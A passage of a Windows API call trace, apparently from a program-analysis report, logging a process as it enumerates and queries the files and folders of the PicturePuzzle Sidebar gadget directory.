lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.720] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.720] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.720] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.721] NtClose (Handle=0x124) returned 0x0 [0080.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.721] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.722] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.722] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe838 [0080.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.723] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.723] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe858 [0080.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248598 [0080.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.724] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0080.724] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe878 [0080.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12486a0 [0080.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.726] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.726] GetLastError () returned 0x12 [0080.726] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.726] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.726] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.726] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.726] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a698 [0080.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.727] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.727] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.727] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.727] NtClose (Handle=0x124) returned 0x0 [0080.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a698) returned 1 [0080.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a698 [0080.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226da8 [0080.728] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.729] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.729] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.729] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229308 [0080.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe898 [0080.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229410 [0080.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.730] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.730] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0080.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe8b8 [0080.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229518 [0080.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.731] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe8d8 [0080.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229620 [0080.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.733] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.733] GetLastError () returned 0x12 [0080.733] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.733] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.733] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.733] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229728 [0080.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.734] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.734] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.735] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.735] NtClose (Handle=0x124) returned 0x0 [0080.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229728) returned 1 [0080.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.735] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.736] GetLastError () returned 0x12 [0080.736] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.736] FindClose (in: hFindFile=0x2e9000 | out: 